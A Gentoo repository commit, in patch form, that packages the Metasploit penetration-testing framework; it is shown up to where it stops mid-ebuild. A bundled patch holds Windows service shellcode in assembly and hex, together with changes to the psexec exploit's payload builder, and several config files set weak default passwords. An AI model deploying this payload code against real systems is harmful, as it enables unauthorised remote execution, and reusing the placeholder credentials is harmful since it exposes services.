From 56bd759df1d0c750a065b8c845e93d5dfa6b549d Mon Sep 17 00:00:00 2001 From: "Robin H. Johnson" Date: Sat, 8 Aug 2015 13:49:04 -0700 Subject: proj/gentoo: Initial commit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This commit represents a new era for Gentoo: Storing the gentoo-x86 tree in Git, as converted from CVS. This commit is the start of the NEW history. Any historical data is intended to be grafted onto this point. Creation process: 1. Take final CVS checkout snapshot 2. Remove ALL ChangeLog* files 3. Transform all Manifests to thin 4. Remove empty Manifests 5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$ 5.1. Do not touch files with -kb/-ko keyword flags. Signed-off-by: Robin H. Johnson X-Thanks: Alec Warner - did the GSoC 2006 migration tests X-Thanks: Robin H. Johnson - infra guy, herding this project X-Thanks: Nguyen Thai Ngoc Duy - Former Gentoo developer, wrote Git features for the migration X-Thanks: Brian Harring - wrote much python to improve cvs2svn X-Thanks: Rich Freeman - validation scripts X-Thanks: Patrick Lauer - Gentoo dev, running new 2014 work in migration X-Thanks: Michał Górny - scripts, QA, nagging X-Thanks: All of other Gentoo developers - many ideas and lots of paint on the bikeshed --- net-analyzer/metasploit/Manifest | 2 + .../metasploit/files/agix_psexec_pull-2657.patch | 219 ++++++++++++++++ net-analyzer/metasploit/files/database.yml | 34 +++ net-analyzer/metasploit/files/metasploit.icon | 224 +++++++++++++++++ net-analyzer/metasploit/files/msfrpcd-4.0-conf | 25 ++ net-analyzer/metasploit/files/msfrpcd-4.0-initd | 22 ++ net-analyzer/metasploit/files/msfrpcd-4.2-conf | 25 ++ net-analyzer/metasploit/files/msfrpcd-4.2-initd | 22 ++ net-analyzer/metasploit/files/msfrpcd-4.3-conf | 25 ++ net-analyzer/metasploit/files/msfrpcd-4.3-initd | 22 ++ net-analyzer/metasploit/files/msfrpcd-4.4-conf | 25 ++ net-analyzer/metasploit/files/msfrpcd-4.4-initd | 22 ++ net-analyzer/metasploit/files/msfweb.confd | 13 + net-analyzer/metasploit/files/msfweb.initd | 18 ++ net-analyzer/metasploit/metadata.xml | 15 ++ net-analyzer/metasploit/metasploit-2.7.ebuild | 48 ++++ net-analyzer/metasploit/metasploit-4.9.3.ebuild | 273 ++++++++++++++++++++ net-analyzer/metasploit/metasploit-9999.ebuild | 274 +++++++++++++++++++++ 18 files changed, 1308 insertions(+) create mode 100644 net-analyzer/metasploit/Manifest create mode 100644 net-analyzer/metasploit/files/agix_psexec_pull-2657.patch create mode 100644 net-analyzer/metasploit/files/database.yml create mode 100644 net-analyzer/metasploit/files/metasploit.icon create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.0-conf create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.0-initd create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.2-conf create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.2-initd create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.3-conf create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.3-initd create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.4-conf create mode 100644 net-analyzer/metasploit/files/msfrpcd-4.4-initd create mode 100644 net-analyzer/metasploit/files/msfweb.confd create mode 100644 net-analyzer/metasploit/files/msfweb.initd create mode 100644 net-analyzer/metasploit/metadata.xml create mode 100644 net-analyzer/metasploit/metasploit-2.7.ebuild create mode 100644 net-analyzer/metasploit/metasploit-4.9.3.ebuild create mode 100644 net-analyzer/metasploit/metasploit-9999.ebuild (limited to 'net-analyzer/metasploit') diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest new file mode 100644 index 00000000000..67678608b41 --- /dev/null +++ b/net-analyzer/metasploit/Manifest @@ -0,0 +1,2 @@ +DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946 +DIST framework-4.9.3.tar.bz2 36334540 SHA256 76aa4651b8235a018ccb46b31974fa8785e3d16bd753ac34d66fa60468d304b3 SHA512 a16608c718c57913fa5206032ca3707504f83fb25e1a9aec93dbec8d799c7d600f8f2eafb6882bddf64082a19bf9ad39b461c180946499f4e4821f249270ee6f WHIRLPOOL cd4fa596e810a63ee16147f7c4acd3af9b6389732159721c1ce560233ff0a2364964fa56393fbc2e5dc6d0ba161a484c5b7c02603cd23da081ea896c4fd7370e diff --git a/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch new file mode 100644 index 00000000000..4f2e353ecb7 --- /dev/null +++ b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch @@ -0,0 +1,219 @@ +diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm +--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100 ++++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100 +@@ -0,0 +1,64 @@ ++;-----------------------------------------------------------------------------; ++; Author: agix (florian.gaultier[at]gmail[dot]com) ++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ++; Size: 137 bytes ++;-----------------------------------------------------------------------------; ++ ++[BITS 32] ++; Input: EBP must be the address of 'api_call'. ++ ++push byte 0x0 ++push 0x32336970 ++push 0x61766461 ++push esp ++push 0x726774c ++call ebp ;load advapi32.dll ++push 0x00454349 ++push 0x56524553 ++mov ecx, esp ;ServiceTableEntry.SVCNAME ++lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain ++push 0x00000000 ++push eax ++push ecx ++mov eax,esp ++push 0x00000000 ++push eax ++push 0xCB72F7FA ++call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry) ++push 0x00000000 ++push 0x56A2B5F0 ++call ebp ;call ExitProcess(0) ++pop eax ;SvcCtrlHandler ++pop eax ++pop eax ++pop eax ++xor eax,eax ++ret ++cld ;SvcMain ++call me ++me: ++pop ebp ++sub ebp, 0xd6 ;ebp => hashFunction ++push 0x00464349 ++push 0x56524553 ++mov ecx, esp ;SVCNAME ++lea eax, [ebp+0xc9];SvcCtrlHandler ++push 0x00000000 ++push eax ++push ecx ++push 0x5244AA0B ++call ebp ;RegisterServiceCtrlHandlerExA ++push 0x00000000 ++push 0x00000000 ++push 0x00000000 ++push 0x00000000 ++push 0x00000000 ++push 0x00000000 ++push 0x00000004 ++push 0x00000010 ++mov ecx, esp ++push 0x00000000 ++push ecx ++push eax ++push 0x7D3755C6 ++call ebp ;SetServiceStatus RUNNING +\ No newline at end of file +diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm +--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100 ++++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100 +@@ -0,0 +1,17 @@ ++;-----------------------------------------------------------------------------; ++; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ++; Version: 1.0 (28 July 2009) ++; Size: 189 bytes + strlen(libpath) + 1 ++; Build: >build.py single_service_stuff ++;-----------------------------------------------------------------------------; ++ ++[BITS 32] ++[ORG 0] ++ ++ cld ; Clear the direction flag. ++ call start ; Call start, this pushes the address of 'api_call' onto the stack. ++%include "./src/block/block_api.asm" ++start: ; ++ pop ebp ; pop off the address of 'api_call' for calling later. ++%include "./src/block/block_service.asm" +\ No newline at end of file +diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb +--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100 ++++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100 +@@ -402,36 +402,86 @@ + + case opts[:exe_type] + when :service_exe ++ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + max_length = 8192 + name = opts[:servicename] + +- if name +- bo = pe.index('SERVICENAME') +- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo +- pe[bo, 11] = [name].pack('a11') ++ if not name ++ name = Rex::Text.rand_text_alpha(7) + end +- +- if not opts[:sub_method] +- pe[136, 4] = [rand(0x100000000)].pack('V') ++ #code_service could be encoded in the future ++ code_service = ++ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + ++ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + ++ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + ++ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + ++ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + ++ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + ++ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + ++ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + ++ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + ++ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + ++ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" + ++ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + ++ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + ++ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" + ++ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" + ++ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + ++ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + ++ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5" ++ ++ pe_header_size=0x18 ++ section_size=0x28 ++ characteristics_offset=0x24 ++ virtualAddress_offset=0xc ++ sizeOfRawData_offset=0x10 ++ ++ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size ++ sections_table_offset = exe.rva_to_file_offset(sections_table_rva) ++ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset) ++ ++ sections_header = [] ++ exe._file_header.v['NumberOfSections'].times { |i| ++ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]] ++ } ++ ++ #look for section with entry point ++ sections_header.each do |sec| ++ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0] ++ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0] ++ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0] ++ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData ++ #put this section writable ++ characteristics|=0x80000000 ++ newcharacteristics = [characteristics].pack('L') ++ pe[sec[0],newcharacteristics.length]=newcharacteristics ++ end + end ++ ++ #put the shellcode at the entry point, overwriting template ++ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code ++ + when :dll + max_length = 2048 + when :exe_sub + max_length = 4096 + end + +- bo = pe.index('PAYLOAD:') +- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo ++ if opts[:exe_type] != :service_exe + +- if (code.length <= max_length) +- pe[bo, code.length] = [code].pack("a*") +- else +- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" +- end ++ bo = pe.index('PAYLOAD:') ++ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + +- if opts[:exe_type] == :dll +- mt = pe.index('MUTEX!!!') +- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt ++ if (code.length <= max_length) ++ pe[bo, code.length] = [code].pack("a*") ++ else ++ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" ++ end ++ ++ if opts[:exe_type] == :dll ++ mt = pe.index('MUTEX!!!') ++ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt ++ end + end + + return pe +@@ -463,7 +513,7 @@ + + def self.to_win32pe_service(framework, code, opts={}) + # Allow the user to specify their own service EXE template +- set_template_default(opts, "template_x86_windows_svc.exe") ++ set_template_default(opts, "template_x86_windows.exe") + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) + end +diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb +--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100 ++++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100 +@@ -153,7 +153,7 @@ + # Disconnect from the ADMIN$ + simple.disconnect("ADMIN$") + else +- servicename = rand_text_alpha(8) ++ servicename = rand_text_alpha(7) + + # Upload the shellcode to a file + print_status("Uploading payload...") diff --git a/net-analyzer/metasploit/files/database.yml b/net-analyzer/metasploit/files/database.yml new file mode 100644 index 00000000000..403191669cc --- /dev/null +++ b/net-analyzer/metasploit/files/database.yml @@ -0,0 +1,34 @@ +# +# The tests currently use the development user +# https://dev.metasploit.com/redmine/issues/8418 +# + +development: + adapter: "postgresql" + database: "msf_test_database" + username: "msf_test_user" + password: "secure" + port: 5432 + host: "localhost" + pool: 256 + timeout: 5 + +production: + adapter: "postgresql" + database: "msf_database" + username: "msf_user" + password: "secure" + port: 5432 + host: "localhost" + pool: 256 + timeout: 5 + +test: + adapter: "postgresql" + database: "msf_test_database" + username: "msf_test_user" + password: "secure" + port: 5432 + host: "localhost" + pool: 256 + timeout: 5 diff --git a/net-analyzer/metasploit/files/metasploit.icon b/net-analyzer/metasploit/files/metasploit.icon new file mode 100644 index 00000000000..87af020fdf0 --- /dev/null +++ b/net-analyzer/metasploit/files/metasploit.icon @@ -0,0 +1,224 @@ +/* XPM */ +static char *metasploit[] = { +/* columns rows colors chars-per-pixel */ +"48 48 170 2 ", +" c #000000", +". c #0B0B0B", +"X c #131313", +"o c #1C1C1C", +"O c #251B0D", +"+ c #2C2112", +"@ c #2C241C", +"# c #081933", +"$ c #061F3B", +"% c #07203C", +"& c #09223C", +"* c #232323", +"= c #2D2D2D", +"- c #353535", +"; c #383838", +": c #0C2141", +"> c #0F264C", +", c #0F284D", +"< c #072755", +"1 c #082754", +"2 c #062855", +"3 c #0E2C57", +"4 c #072858", +"5 c #0D2F5C", +"6 c #033A6E", +"7 c #1A3166", +"8 c #043C72", +"9 c #2F456F", +"0 c #2A4174", +"q c #314774", +"w c #314A75", +"e c #424242", +"r c #444A5F", +"t c #545454", +"y c #5B5B5B", +"u c #414B60", +"i c #515A6F", +"p c #4B6975", +"a c #416679", +"s c #46697B", +"d c #4D6D7C", +"f c #636363", +"g c #686868", +"h c #727272", +"j c #7B7B7B", +"k c #B37777", +"l c #C76852", +"z c #F26E40", +"x c #C77A6F", +"c c #DA8D75", +"v c #023986", +"b c #002F99", +"n c #043296", +"m c #043898", +"M c #0038A0", +"N c #094089", +"B c #1C4583", +"V c #194997", +"C c #1E4E9F", +"Z c #215192", +"A c #225A9F", +"S c #3D5C98", +"D c #3B6F8A", +"F c #0D43AD", +"G c #1F4EA2", +"H c #1F4EAA", +"J c #1753BB", +"K c #1852B9", +"L c #224FA8", +"P c #2450A4", +"I c #2E55A0", +"U c #2755AD", +"Y c #2956AE", +"T c #3464A5", +"R c #2963BC", +"E c #466E81", +"W c #447082", +"Q c #6C739A", +"! c #4471B1", +"~ c #4873B6", +"^ c #4870BB", +"/ c #4D78BA", +"( c #0D53C3", +") c #1866C9", +"_ c #046EDB", +"` c #126FD4", +"' c #0C73DD", +"] c #3767C7", +"[ c #326AC2", +"{ c #3D75C4", +"} c #3574C8", +"| c #3B74C9", +" . c #3E79CC", +".. c #2F74D3", +"X. c #3B7BD0", +"o. c #006EE5", +"O. c #0479E5", +"+. c #0074E9", +"@. c #087EEC", +"#. c #1479E1", +"$. c #497AC7", +"%. c #447BCD", +"&. c #487FD2", +"*. c #5B84A8", +"=. c #3B82DA", +"-. c #0C86EF", +";. c #1F80E5", +":. c #1393F9", +">. c #1C99FB", +",. c #348FEC", +"<. c #3290E5", +"1. c #3491EB", +"2. c #2490F3", +"3. c #279EFD", +"4. c #3CA8FF", +"5. c #5394D2", +"6. c #758FC3", +"7. c #689AD3", +"8. c #7399D1", +"9. c #4090E6", +"0. c #4990E4", +"q. c #4694EB", +"w. c #559BED", +"e. c #4B9BF1", +"r. c #539FF3", +"t. c #45A4FD", +"y. c #47AAFA", +"u. c #56A0F4", +"i. c #5AA4F5", +"p. c #5CA6F8", +"a. c #56B5FD", +"s. c #71A3E1", +"d. c #65AFFB", +"f. c #66B7FF", +"g. c #68B7FF", +"h. c #6CC2FF", +"j. c #70C9FF", +"k. c #7CD7FF", +"l. c #7ED9F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d-4.0-conf b/net-analyzer/metasploit/files/msfrpcd-4.0-conf new file mode 100644 index 00000000000..dc56a9d966a --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.0-conf @@ -0,0 +1,25 @@ +# Config file for /etc/init.d/msfrpcd + +# msfrpcd -h for more info + +# Bind to the following IP instead of 0.0.0.0 +MSF_OPTS="-a 127.0.0.1" + +# Bind to the following TCP port instead of default 55553 +#MSF_OPTS="${MSF_OPTS} -p 55553" + +# Specify the username to access msfrpcd +MSF_OPTS="${MSF_OPTS} -U msf" + +# Specify the password to access msfrpcd +MSF_OPTS="${MSF_OPTS} -P secret" + +# Server type, [Basic|Web] +#MSF_OPTS="${MSF_OPTS} -t Basic" + +# URI for Web server +#MSF_OPTS="${MSF_OPTS} -u " + +# Disable SSL on the XMLRPC socket +# JAVA GUI doesn't support SSL as of Nov 6, 2010 +MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.0-initd b/net-analyzer/metasploit/files/msfrpcd-4.0-initd new file mode 100644 index 00000000000..ad6bf25ba5d --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.0-initd @@ -0,0 +1,22 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +VERSION=4.0 +PIDFILE=/var/run/msfrpcd${VERSION}.pid + +start() { + ebegin "Starting msfrpcd${VERSION}" + start-stop-daemon --start --quiet --background \ + --exec /usr/lib/metasploit${VERSION}/msfrpcd \ + --pidfile ${PIDFILE} \ + --make-pidfile -- -f ${MSF_OPTS} + eend $? +} + +stop() { + ebegin "Stopping msfrpcd${VERSION}" + start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} + eend $? +} diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-conf b/net-analyzer/metasploit/files/msfrpcd-4.2-conf new file mode 100644 index 00000000000..dc56a9d966a --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.2-conf @@ -0,0 +1,25 @@ +# Config file for /etc/init.d/msfrpcd + +# msfrpcd -h for more info + +# Bind to the following IP instead of 0.0.0.0 +MSF_OPTS="-a 127.0.0.1" + +# Bind to the following TCP port instead of default 55553 +#MSF_OPTS="${MSF_OPTS} -p 55553" + +# Specify the username to access msfrpcd +MSF_OPTS="${MSF_OPTS} -U msf" + +# Specify the password to access msfrpcd +MSF_OPTS="${MSF_OPTS} -P secret" + +# Server type, [Basic|Web] +#MSF_OPTS="${MSF_OPTS} -t Basic" + +# URI for Web server +#MSF_OPTS="${MSF_OPTS} -u " + +# Disable SSL on the XMLRPC socket +# JAVA GUI doesn't support SSL as of Nov 6, 2010 +MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-initd b/net-analyzer/metasploit/files/msfrpcd-4.2-initd new file mode 100644 index 00000000000..91a373f343a --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.2-initd @@ -0,0 +1,22 @@ +#!/sbin/runscript +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +VERSION=4.2 +PIDFILE=/var/run/msfrpcd${VERSION}.pid + +start() { + ebegin "Starting msfrpcd${VERSION}" + start-stop-daemon --start --quiet --background \ + --exec /usr/lib/metasploit${VERSION}/msfrpcd \ + --pidfile ${PIDFILE} \ + --make-pidfile -- -f ${MSF_OPTS} + eend $? +} + +stop() { + ebegin "Stopping msfrpcd${VERSION}" + start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} + eend $? +} diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-conf b/net-analyzer/metasploit/files/msfrpcd-4.3-conf new file mode 100644 index 00000000000..dc56a9d966a --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.3-conf @@ -0,0 +1,25 @@ +# Config file for /etc/init.d/msfrpcd + +# msfrpcd -h for more info + +# Bind to the following IP instead of 0.0.0.0 +MSF_OPTS="-a 127.0.0.1" + +# Bind to the following TCP port instead of default 55553 +#MSF_OPTS="${MSF_OPTS} -p 55553" + +# Specify the username to access msfrpcd +MSF_OPTS="${MSF_OPTS} -U msf" + +# Specify the password to access msfrpcd +MSF_OPTS="${MSF_OPTS} -P secret" + +# Server type, [Basic|Web] +#MSF_OPTS="${MSF_OPTS} -t Basic" + +# URI for Web server +#MSF_OPTS="${MSF_OPTS} -u " + +# Disable SSL on the XMLRPC socket +# JAVA GUI doesn't support SSL as of Nov 6, 2010 +MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-initd b/net-analyzer/metasploit/files/msfrpcd-4.3-initd new file mode 100644 index 00000000000..4880d501fa2 --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.3-initd @@ -0,0 +1,22 @@ +#!/sbin/runscript +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +VERSION=4.3 +PIDFILE=/var/run/msfrpcd${VERSION}.pid + +start() { + ebegin "Starting msfrpcd${VERSION}" + start-stop-daemon --start --quiet --background \ + --exec /usr/lib/metasploit${VERSION}/msfrpcd \ + --pidfile ${PIDFILE} \ + --make-pidfile -- -f ${MSF_OPTS} + eend $? +} + +stop() { + ebegin "Stopping msfrpcd${VERSION}" + start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} + eend $? +} diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-conf b/net-analyzer/metasploit/files/msfrpcd-4.4-conf new file mode 100644 index 00000000000..dc56a9d966a --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.4-conf @@ -0,0 +1,25 @@ +# Config file for /etc/init.d/msfrpcd + +# msfrpcd -h for more info + +# Bind to the following IP instead of 0.0.0.0 +MSF_OPTS="-a 127.0.0.1" + +# Bind to the following TCP port instead of default 55553 +#MSF_OPTS="${MSF_OPTS} -p 55553" + +# Specify the username to access msfrpcd +MSF_OPTS="${MSF_OPTS} -U msf" + +# Specify the password to access msfrpcd +MSF_OPTS="${MSF_OPTS} -P secret" + +# Server type, [Basic|Web] +#MSF_OPTS="${MSF_OPTS} -t Basic" + +# URI for Web server +#MSF_OPTS="${MSF_OPTS} -u " + +# Disable SSL on the XMLRPC socket +# JAVA GUI doesn't support SSL as of Nov 6, 2010 +MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-initd b/net-analyzer/metasploit/files/msfrpcd-4.4-initd new file mode 100644 index 00000000000..4880d501fa2 --- /dev/null +++ b/net-analyzer/metasploit/files/msfrpcd-4.4-initd @@ -0,0 +1,22 @@ +#!/sbin/runscript +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +VERSION=4.3 +PIDFILE=/var/run/msfrpcd${VERSION}.pid + +start() { + ebegin "Starting msfrpcd${VERSION}" + start-stop-daemon --start --quiet --background \ + --exec /usr/lib/metasploit${VERSION}/msfrpcd \ + --pidfile ${PIDFILE} \ + --make-pidfile -- -f ${MSF_OPTS} + eend $? +} + +stop() { + ebegin "Stopping msfrpcd${VERSION}" + start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} + eend $? +} diff --git a/net-analyzer/metasploit/files/msfweb.confd b/net-analyzer/metasploit/files/msfweb.confd new file mode 100644 index 00000000000..3e9fa64d9a1 --- /dev/null +++ b/net-analyzer/metasploit/files/msfweb.confd @@ -0,0 +1,13 @@ +# Config file for /etc/init.d/metasploit + +# Pidfile +PIDFILE=/var/run/msfweb.pid + +# Bind to the following IP instead of the loopback address +IPADDR=127.0.0.1 + +# Bind to the following TCP port instead of default 55555 +PORT=55555 + +# All options +MSF_OPTS="-a $IPADDR -p $PORT" diff --git a/net-analyzer/metasploit/files/msfweb.initd b/net-analyzer/metasploit/files/msfweb.initd new file mode 100644 index 00000000000..0805d583dc7 --- /dev/null +++ b/net-analyzer/metasploit/files/msfweb.initd @@ -0,0 +1,18 @@ +#!/sbin/runscript +# Copyright 1999-2005 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +start() { + ebegin "Starting msfweb" + start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \ + --pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS} + eend $? +} + +stop() { + ebegin "Stopping msfweb" + start-stop-daemon --stop --quiet --pidfile ${PIDFILE} + rm -f ${PIDFILE} + eend $? +} diff --git a/net-analyzer/metasploit/metadata.xml b/net-analyzer/metasploit/metadata.xml new file mode 100644 index 00000000000..9ba0d4a9231 --- /dev/null +++ b/net-analyzer/metasploit/metadata.xml @@ -0,0 +1,15 @@ + + + + + zerochaos@gentoo.org + Rick Farina + Very delicate package, ask before you touch please + + + Install dependencies needed for metasploit and exploit development + Enable lorcon for raw packet injection + Enable restricted oracle modules which have additional deps + Enable libpcap for packet sniffing + + diff --git a/net-analyzer/metasploit/metasploit-2.7.ebuild b/net-analyzer/metasploit/metasploit-2.7.ebuild new file mode 100644 index 00000000000..ed11d9b3a39 --- /dev/null +++ b/net-analyzer/metasploit/metasploit-2.7.ebuild @@ -0,0 +1,48 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +MY_P="${P/metasploit/framework}" +S="${WORKDIR}/${MY_P}" +DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" +HOMEPAGE="http://www.metasploit.org/" +SRC_URI="http://metasploit.com/tools/${MY_P}.tar.gz" + +LICENSE="GPL-2 Artistic" +SLOT="0" +KEYWORDS="amd64 ppc x86" +IUSE="" + +RDEPEND="dev-lang/perl + dev-perl/Net-SSLeay + dev-perl/Term-ReadLine-Perl + dev-perl/TermReadKey" + +src_install() { + dodir /usr/lib/ + dodir /usr/bin/ + + # should be as simple as copying everything into the target... + cp -pPR "${S}" "${D}"usr/lib/metasploit || die + + # and creating symlinks in the /usr/bin dir + cd "${D}"/usr/bin + ln -s ../lib/metasploit/msf* ./ || die + chown -R root:0 "${D}" + + newinitd "${FILESDIR}"/msfweb.initd msfweb || die "newinitd failed" + newconfd "${FILESDIR}"/msfweb.confd msfweb || die "newconfd failed" +} + +pkg_postinst() { + elog "To update metasploit modules run:" + elog " # cd /usr/lib/metasploit && svn update" +} + +pkg_postrm() { + if [[ -d /usr/lib/metasploit ]] ; then + ewarn "If you ever updated modules emerge will keep /var/lib/metasploit" + ewarn "directory. Thus to remove metasploit completely do not forgive to:" + ewarn " # rm -r /usr/lib/metasploit" + fi +} diff --git a/net-analyzer/metasploit/metasploit-4.9.3.ebuild b/net-analyzer/metasploit/metasploit-4.9.3.ebuild new file mode 100644 index 00000000000..4450ae20cae --- /dev/null +++ b/net-analyzer/metasploit/metasploit-4.9.3.ebuild @@ -0,0 +1,273 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI="5" + +if [[ ${PV} == "9999" ]] ; then + EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git" + EGIT_CHECKOUT_DIR="${WORKDIR}"/all + inherit git-r3 + KEYWORDS="" +else + #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version + SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2" + KEYWORDS="~amd64 ~arm ~x86" + 